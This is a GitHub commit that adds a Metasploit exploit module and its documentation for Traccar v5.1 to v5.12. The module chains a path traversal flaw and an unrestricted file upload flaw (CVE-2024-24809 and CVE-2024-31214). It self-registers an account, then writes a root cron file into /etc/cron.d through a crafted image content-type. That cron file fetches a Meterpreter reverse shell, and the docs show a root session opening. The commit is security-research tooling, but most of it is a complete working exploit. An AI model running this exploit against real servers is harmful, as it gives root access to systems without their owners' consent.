Skip to content

Commit 6532255

Browse files
committed
PoC & Documentation
PoC & Documentation
1 parent e30232d commit 6532255

File tree

2 files changed

+341
-1
lines changed

2 files changed

+341
-1
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
This module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability
4+
(CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration,
5+
enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges,
6+
potentially resulting in a complete system compromise.
7+
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the
8+
specified payload.
9+
10+
## Testing
11+
12+
The software can be obtained from
13+
[the vendor](https://github.com/traccar/traccar/releases/download/v5.12/traccar-linux-64-5.12.zip).
14+
15+
Installation instructions are available [here](https://www.traccar.org/linux/).
16+
17+
The vulnerable application runs by default on Eclipse Jetty, which listens on TCP port 8082.
18+
19+
**Successfully tested on**
20+
21+
- Traccar v5.12 on Rocky Linux 9.4
22+
- Traccar v5.11 on Rocky Linux 9.4
23+
24+
## Verification Steps
25+
26+
1. Install and run the application
27+
2. Start `msfconsole` and run the following commands:
28+
29+
```
30+
msf6 > use exploit/linux/http/traccar_rce_upload
31+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
32+
msf6 exploit(linux/http/traccar_rce_upload) > set RHOSTS <IP>
33+
msf6 exploit(linux/http/traccar_rce_upload) > set LHOST <IP>
34+
msf6 exploit(linux/http/traccar_rce_upload) > exploit
35+
```
36+
37+
You should get a meterpreter session in the context of `root`.
38+
39+
## Options
40+
41+
### USERNAME
42+
Username to be used when creating a new user.
43+
44+
### PASSWORD
45+
Password for the new user.
46+
47+
### EMAIL
48+
E-mail for the new user.
49+
50+
## Scenarios
51+
52+
Running the exploit against Traccar v5.12 on Rocky Linux 9.4, using curl as a fetch command, should result in an output similar
53+
to the following:
54+
55+
```
56+
msf6 exploit(linux/http/traccar_rce_upload) > exploit
57+
58+
[*] Started reverse TCP handler on 192.168.217.128:4444
59+
[*] Running automatic check ("set AutoCheck false" to disable)
60+
[+] The target appears to be vulnerable.
61+
[*] Registering new user...
62+
[*] Authenticating...
63+
[*] Adding new device...
64+
[*] Uploading crontab file...
65+
[*] Cronjob successfully written - waiting for execution...
66+
[*] Sending stage (3045380 bytes) to 192.168.217.138
67+
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.138:58196) at 2024-08-25 17:03:02 -0400
68+
[*] Exploit finished, check thy shell.
69+
70+
meterpreter > sysinfo
71+
Computer : localhost.localdomain
72+
OS : Red Hat 9.4 (Linux 5.14.0-427.13.1.el9_4.x86_64)
73+
Architecture : x64
74+
BuildTuple : x86_64-linux-musl
75+
Meterpreter : x64/linux
76+
77+
meterpreter > getuid
78+
Server username: root
79+
```
Lines changed: 262 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,262 @@
1-
draft
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
11+
'Description' => %q{
12+
Remote Code Execution in Traccar v5.1 - v5.12.
13+
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
14+
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
15+
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
16+
},
17+
'License' => MSF_LICENSE,
18+
'Author' => [
19+
'Michael Heinzl', # MSF Module
20+
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
21+
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
22+
],
23+
'References' => [
24+
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
25+
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
26+
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
27+
[ 'CVE', '2024-31214'],
28+
[ 'CVE', '2024-24809']
29+
],
30+
'DisclosureDate' => '2024-08-23',
31+
'Platform' => [ 'linux' ],
32+
'Arch' => [ ARCH_CMD ],
33+
'Targets' => [
34+
[
35+
'Linux Command',
36+
{
37+
'Arch' => [ ARCH_CMD ],
38+
'Platform' => [ 'linux' ],
39+
'DefaultOptions' => {
40+
'FETCH_COMMAND' => 'CURL',
41+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
42+
43+
},
44+
'Type' => :unix_cmd
45+
}
46+
]
47+
],
48+
'DefaultTarget' => 0,
49+
'Notes' => {
50+
'Stability' => [CRASH_SAFE],
51+
'Reliability' => [EVENT_DEPENDENT],
52+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
53+
}
54+
)
55+
)
56+
57+
register_options(
58+
[
59+
Opt::RPORT(8082),
60+
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
61+
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
62+
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
63+
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
64+
]
65+
)
66+
end
67+
68+
def check
69+
begin
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri(target_uri.path, 'api/server')
73+
})
74+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
75+
return CheckCode::Unknown
76+
end
77+
78+
unless res && res.code == 200
79+
return CheckCode::Unknown
80+
end
81+
82+
data = res.get_json_document
83+
version = data['version']
84+
if version.nil?
85+
return CheckCode::Unknown
86+
else
87+
vprint_status('Version retrieved: ' + version)
88+
end
89+
90+
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
91+
return CheckCode::Safe
92+
end
93+
94+
return CheckCode::Appears
95+
end
96+
97+
def exploit
98+
execute_command(payload.encoded)
99+
end
100+
101+
def execute_command(cmd)
102+
print_status('Registering new user...')
103+
body = {
104+
name: datastore['USERNAME'],
105+
email: datastore['EMAIL'],
106+
password: datastore['PASSWORD'],
107+
totpKey: nil
108+
}.to_json
109+
110+
res = send_request_cgi(
111+
'method' => 'POST',
112+
'uri' => normalize_uri(target_uri.path, 'api/users'),
113+
'ctype' => 'application/json',
114+
'data' => body
115+
)
116+
117+
unless res
118+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
119+
end
120+
121+
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
122+
# to run into when this module is executed more than once without updating the provided email address
123+
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
124+
fail_with(Failure::UnexpectedReply, 'Error: The same E-mail already exists on the system: ' + res.to_s)
125+
end
126+
127+
unless res.code == 200
128+
fail_with(Failure::UnexpectedReply, res.to_s)
129+
end
130+
131+
json = res.get_json_document
132+
133+
unless json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL']
134+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
135+
end
136+
137+
print_status('Authenticating...')
138+
res = send_request_cgi(
139+
'method' => 'POST',
140+
'uri' => normalize_uri(target_uri.path, 'api/session'),
141+
'ctype' => 'application/x-www-form-urlencoded',
142+
'vars_post' => {
143+
'email' => datastore['EMAIL'],
144+
'password' => datastore['PASSWORD']
145+
}
146+
)
147+
148+
unless res
149+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
150+
end
151+
152+
raw_res = res.to_s
153+
unless raw_res =~ /JSESSIONID=([^;]+)/
154+
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
155+
end
156+
157+
json = res.get_json_document
158+
unless res.code == 200 && json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL']
159+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
160+
end
161+
162+
jsessionid = ::Regexp.last_match(1)
163+
vprint_status("JSESSIONID: #{jsessionid}")
164+
165+
name_v = Rex::Text.rand_text_alphanumeric(16)
166+
unique_id_v = Rex::Text.rand_text_alphanumeric(16)
167+
168+
body = {
169+
name: name_v,
170+
uniqueId: unique_id_v
171+
}.to_json
172+
173+
print_status('Adding new device...')
174+
res = send_request_cgi(
175+
'method' => 'POST',
176+
'uri' => normalize_uri(target_uri.path, 'api/devices'),
177+
'headers' => {
178+
'Cookie' => "JSESSIONID=#{jsessionid}"
179+
},
180+
'ctype' => 'application/json',
181+
'data' => body
182+
)
183+
184+
unless res
185+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
186+
end
187+
188+
json = res.get_json_document
189+
190+
unless res.code == 200 && json.key?('name') && json['name'] == name_v && json.key?('uniqueId') && json['uniqueId'] == unique_id_v && json.key?('id')
191+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
192+
end
193+
194+
id = json['id'].to_s
195+
body = Rex::Text.rand_text_alphanumeric(1..4)
196+
fn = Rex::Text.rand_text_alpha(1..2)
197+
198+
print_status('Uploading crontab file...')
199+
res = send_request_cgi(
200+
'method' => 'POST',
201+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
202+
'headers' => {
203+
'Cookie' => "JSESSIONID=#{jsessionid}"
204+
},
205+
'ctype' => 'image/png',
206+
'data' => body
207+
)
208+
209+
unless res
210+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
211+
end
212+
213+
unless res.code == 200 && res.to_s.include?('device.png')
214+
fail_with(Failure::UnexpectedReply, res.to_s)
215+
end
216+
217+
res = send_request_cgi(
218+
'method' => 'POST',
219+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
220+
'headers' => {
221+
'Cookie' => "JSESSIONID=#{jsessionid}"
222+
},
223+
'ctype' => "image/png;#{fn}=\"/b\"",
224+
'data' => body
225+
)
226+
227+
unless res
228+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
229+
end
230+
231+
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
232+
fail_with(Failure::UnexpectedReply, res.to_s)
233+
end
234+
235+
body = "* * * * * root /bin/bash -c '#{cmd}'\n"
236+
cronfn = SecureRandom.hex(12)
237+
238+
res = send_request_cgi(
239+
'method' => 'POST',
240+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
241+
'headers' => {
242+
'Cookie' => "JSESSIONID=#{jsessionid}"
243+
},
244+
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
245+
'data' => body
246+
)
247+
248+
unless res
249+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
250+
end
251+
252+
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
253+
fail_with(Failure::UnexpectedReply, res.to_s)
254+
end
255+
256+
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
257+
print_status('Cronjob successfully written - waiting for execution...')
258+
sleep(60)
259+
260+
print_status('Exploit finished, check thy shell.')
261+
end
262+
end

0 commit comments

Comments
 (0)